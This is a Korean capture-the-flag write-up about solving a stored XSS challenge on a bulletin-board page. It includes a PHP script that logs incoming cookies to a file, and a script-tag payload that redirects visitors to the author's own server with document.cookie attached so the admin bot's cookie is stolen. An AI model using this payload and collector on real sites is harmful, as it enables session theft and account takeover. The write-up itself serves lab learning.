1. 문제
1) 문제 확인
게시판 형태로 글을 작성하면 밑에 목록에 추가가된다. 게시글은 따로 클릭은 안되고 그냥 바로 내용이 보인다.
2. 접근방법
XSS 문제이기 때문에, <script>태그가 먹히는지 확인을 해보자.
아주 잘먹힌다. 포너블에서는 보통 루트 권한을 따서 내부에 존재하는 플래그를 찾거나 아니면 그냥 플래그 파일을 얻고, 해당 플래그를 인증하면 됬었는데, 여기서는 멀 어케 해야하는지 잘 몰라서 아는 형한테 물어봤당.
일반적으로 XSS 문제는 admin 쿠키를 얻으면 그안에 정답이 들어있다고 한다. 스크립트 태그가 작동하니, 안에 쿠키를 읽어서 개인 서버로 전송하게끔 한뒤에 확인을 해보자. 라즈베리파이에 nginx + php를 설치한뒤에, 아래의 파일을 작성하였다
info.php
<?php>
error_reporting(E_ALL);
ini_set("display_errors", 1);
if(isset($_GET['data']))
{
$cookie=$_GET['data'];
}else{
$cookie="tmp";
}
echo $cookie;
$atime=date("y-m-d H:i:s");
echo $atime;
$log=fopen("data.txt","a+");
var_dump($log);
fwrite($log,$atime." ".$cookie."\r\n");
fclose($log);
<?>
PHP
복사
코드를 간단히 설명하면, GET 요청으로 data이름으로 들어온 값이 존재하면, data.txt 파일 안에 넘어온 값을 저장하는 코드이다.
게시판에 아래의 스크립트 코드를 작성하였다
<script>document.location="내 라파 아이피/info.php?data="+document.cookie</script>
PHP
복사
참고로
<script>
document.location="내 라파 아이피/info.php?data="+document.cookie
</script>
PHP
복사
이렇게 하면 안되더라...
쨋든 이렇게 보내고 기다리면 된다. 해당 게시판은 5분? 꼴로 초기화가 되는데 초기화가 될때 admin bot이 게시판을 읽는것 같다.
3. 풀이
짜잔
4. 몰랐던 개념
js로 새창 여는 거
•
document.location=""
•
window.open("")
•
location.href=""
쿠키획득
•
document.cookie